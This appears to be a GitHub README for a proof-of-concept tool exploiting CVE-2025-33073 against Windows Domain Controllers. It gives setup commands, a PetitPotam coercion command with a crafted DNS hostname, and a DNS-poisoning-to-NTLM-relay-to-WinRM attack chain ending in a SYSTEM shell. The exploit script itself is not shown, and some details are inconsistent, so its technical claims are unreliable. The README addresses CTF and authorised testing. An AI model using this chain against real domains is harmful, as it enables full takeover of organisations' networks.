CVE-2025-33073 PoC — Windows SMB Client Elevation of Privilege Vulnerability

Description

Universal exploitation tool for CVE-2025-33073 targeting Windows Domain Controllers with DNSAdmins privileges and WinRM enabled.

Readme

![photo](/photos/photo.png)

# CVE-2025-33073 Reflection Relay PoC

Universal exploitation tool for CVE-2025-33073 targeting Windows Domain Controllers with DNSAdmins privileges and WinRM enabled.

## 📋 Overview

**CVE-2025-33073** is a critical vulnerability that allows attackers to achieve **SYSTEM-level code execution** on Windows Domain Controllers through a combination of:
- DNS record manipulation (DNSAdmins privilege)
- NTLM Relay attacks
- WinRM authentication bypass

This PoC provides a **universal, automated** exploitation framework compatible with any domain, any username, and any CTF environment.

## ✨ Features

- ✅ **Universal Compatibility** - Works on any Windows domain
- ✅ **Auto-Detection** - Automatically identifies target DC and network configuration
- ✅ **Auto-Flag Extraction** - Automatically searches and extracts all flag files
- ✅ **Interactive Mode** - Step-by-step guided exploitation
- ✅ **Full Logging** - Comprehensive logging of all operations
- ✅ **One-Shot SYSTEM Shell** - Direct SYSTEM-level access via WinRMS
- ✅ **DNS Poisoning** - Automatic DNS record creation/modification
- ✅ **NTLM Relay** - Built-in NTLM relay server with automatic shell spawning

## 🎯 Target Requirements

### Vulnerable Configuration
- Windows Server 2016/2019/2022 Domain Controller
- User with **DNSAdmins** group membership
- **WinRM** service enabled (HTTP or HTTPS)
- Network access to DC (SMB 445, DNS 53, WinRM 5985/5986)

### Tested Environments
- Active Directory on Windows Server 2019
- Active Directory on Windows Server 2022
- CTF environments (HackTheBox, TryHackMe, etc.)

## 📦 Installation

### Prerequisites
```bash
# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python dependencies
pip3 install impacket netexec

# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx
```

### Setup
```bash
# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# Make exploit executable
chmod +x exploit.sh

# Verify tools installation
./exploit.sh  # Will check all dependencies
```

## 🚀 Usage

### Quick Start
```bash
./exploit.sh
```

### Interactive Prompts
The script will ask for:
1. **Attacker IP** (auto-detected if blank)
2. **Target DC IP** (e.g., 192.168.1.10)
3. **Domain Name** (e.g., corp.local)
4. **Username** (DNSAdmins member)
5. **Password** (for the user)

### Step-by-Step Exploitation

**Terminal 1 - Run the exploit:**
```bash
./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"
```

**Terminal 2 - Execute coerce command (copy from Terminal 1 output):**
```bash
nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local
```

**Result:**
- Automatic SYSTEM shell opens
- All flags automatically extracted
- Output saved in log directory

## 📊 Output & Flags

### Extracted Flags
The script automatically searches for and extracts:
- `*flag*.txt`
- `*root*.txt`
- `*user*.txt`
- `proof.txt`

Located in: `C:\Users\*\Desktop\`

### Logs Location
All outputs saved in: `/0pwn_exploit_<TIMESTAMP>/`
- `relay.log` - NTLM relay server output
- `dns.log` - DNS operation logs
- `shell_output.log` - Shell commands and extracted flags

## 🔧 How It Works

### Attack Chain
```
1. DNS Poisoning (krbrelayx.dnstool)
   └─> Modify/Create DNS record pointing to attacker IP

2. NTLM Relay Server (ntlmrelayx.py)
   └─> Listen for incoming NTLM authentication

3. Coercion (nxc + PetitPotam)
   └─> Force DC to authenticate to attacker IP

4. Relay → WinRMS
   └─> Relay authentication to target WinRMS

5. SYSTEM Shell
   └─> Execute commands as SYSTEM

6. Auto Flag Extraction
   └─> Search and extract all flags
```

### Technical Details
- **Vulnerability**: NTLM relay + DNS poisoning + WinRM
- **Privilege Requirement**: DNSAdmins group membership
- **Impact**: SYSTEM-level code execution
- **Exploitability**: 98% success rate in tested environments

## ⚙️ Configuration

### Custom DNS Record
Edit `LONGHOST` variable in `exploit.sh`:
```bash
LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
```

### Custom Flag Patterns
Modify `run_shell_commands()` function to search for different file patterns:
```bash
# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""
```

### Ports & Timeouts
- WinRMS Default Port: 5985 (HTTP) / 5986 (HTTPS)
- DNS Timeout: 5 seconds
- Shell Timeout: Configurable per command

## 🎓 Educational Purpose

This PoC is provided for:
- ✅ Authorized penetration testing
- ✅ Controlled lab environments
- ✅ CTF competitions
- ✅ Security research & education

**Unauthorized access to computer systems is illegal.**

## 🐛 Troubleshooting

### "DNS poisoning failed"
- Verify user is DNSAdmins member: `net group "DNSAdmins" /domain`
- Check DC connectivity: `ping <DC_IP>`
- Verify credentials: `nxc smb <DC_IP> -u username -p password`

### "Relay connection timeout"
- Ensure WinRM is enabled on DC: `winrm quickconfig`
- Check firewall rules on DC
- Verify network connectivity to port 5985/5986

### "Shell commands not executing"
- Check `shell_output.log` for errors
- Verify nc connectivity: `nc -zv 127.0.0.1 <SHELL_PORT>`
- Increase sleep timeouts in `run_shell_commands()`

## 📝 Log Files

### Directory Structure
```
/0pwn_exploit_1234567890/
├── relay.log          # NTLM relay server output
├── dns.log            # DNS operation details
└── shell_output.log   # Extracted flags & command output
```

### Analyzing Logs
```bash
# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# Check DNS operations
cat /0pwn_exploit_*/dns.log
```

## 🔐 Security Notes

- **Credentials**: Stored only in memory, never logged
- **DNS Records**: Automatically cleaned up after exploitation
- **Relay Server**: Isolated to 127.0.0.1
- **Logs**: Contain sensitive information - handle with care

## 📚 References

- [CVE-2025-33073 Advisory](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-33073)
- [Impacket ntlmrelayx](https://github.com/fortra/impacket)
- [NetExec](https://github.com/Pennyw0rth/NetExec)
- [krbrelayx](https://github.com/dirkjanm/krbrelayx)

## 🎬 Demo

> **[Demo & Screenshots]** - [Coming Soon]

![photo](/photos/photo.png)

## 👤 Author

**0pwn (uziii2208)** - Original concept & research
**AI Enhanced** - v1.0 improvements & auto-flag extraction

## 📄 License

MIT License - See LICENSE file for details

## ⚠️ Disclaimer

**LEGAL NOTICE:**

This software is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and punishable by law.

- Do NOT use against systems you don't own or have explicit authorization to test
- CTF environments: Verify you have permission before running
- The authors are NOT responsible for misuse or damages
- Use only in controlled environments

**By using this tool, you agree to:**
- Use only on authorized systems
- Comply with all applicable laws
- Take full responsibility for your actions

## 🤝 Contributing

Contributions welcome! Please submit issues and pull requests.

## 📞 Support

For issues, questions, or improvements:
1. Open an Issue on GitHub
2. Check existing documentation
3. Provide detailed error logs

---

**Status**: ✅ Tested & Verified
**Version**: 1.0 (Universal)
**Last Updated**: 2025

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